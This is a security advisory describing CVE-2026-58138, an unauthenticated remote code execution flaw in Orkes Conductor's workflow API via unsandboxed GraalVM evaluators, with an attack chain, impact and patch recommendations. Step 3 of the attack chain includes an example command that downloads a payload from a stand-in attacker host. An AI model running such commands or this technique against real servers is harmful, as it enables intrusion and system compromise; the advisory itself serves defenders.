CVE-2026-58138: Unauthenticated Remote Code Execution in Orkes Conductor

A critical unauthenticated remote code execution vulnerability, tracked as CVE-2026-58138, affects Orkes Conductor versions 3.21.21 before 3.30.2. This flaw enables remote attackers to execute arbitrary operating system commands on the underlying server without prior authentication. The vulnerability stems from the ability to submit inline workflow definitions containing malicious JavaScript or Python expressions directly to the workflow API endpoint. Attackers can exploit unsandboxed GraalVM evaluators, configured with HostAccess.ALL or allowAllAccess(true), through INLINE, LAMBDA, DO_WHILE, and SWITCH task types. This allows for the invocation of arbitrary system commands via Java reflection or direct subprocess calls, posing a severe risk of complete system compromise and data exfiltration.

Attack Chain

1. An attacker identifies an internet-exposed Orkes Conductor instance running a vulnerable version (e.g., 3.21.21 up to 3.30.1).
2. The attacker crafts a specialized workflow definition payload containing embedded malicious JavaScript or Python expressions.
3. These expressions are designed to leverage Java reflection or direct subprocess calls to execute arbitrary OS commands (e.g., bash -c 'wget evil.com/payload.sh').
4. The crafted workflow definition is submitted to the unauthenticated workflow API endpoint of the vulnerable Orkes Conductor instance.
5. Orkes Conductor processes the submitted inline workflow, and the unsandboxed GraalVM evaluator begins to parse and execute the malicious expressions.
6. The GraalVM evaluator, configured with permissive access settings like HostAccess.ALL, executes the attacker's embedded code.
7. The malicious code successfully executes arbitrary OS commands on the host system, achieving unauthenticated remote code execution.

Impact

The successful exploitation of CVE-2026-58138 allows unauthenticated attackers to achieve full remote code execution on the server hosting Orkes Conductor. With a CVSS v3.1 Base Score of 9.8 (Critical), this vulnerability can lead to complete system compromise, including sensitive data exfiltration, installation of backdoors, lateral movement within the network, and deployment of ransomware. Organizations utilizing vulnerable versions of Orkes Conductor face an immediate and severe risk if their instances are publicly accessible.

Recommendation

• Patch CVE-2026-58138 immediately by upgrading Orkes Conductor to version 3.30.2 or later.
• Implement network segmentation to restrict direct internet exposure of Orkes Conductor instances.
• Deploy the provided Sigma rule to detect suspicious process execution originating from the Conductor application.
• Monitor for unusual outbound network connections from the Conductor server, indicative of command and control or data exfiltration activities.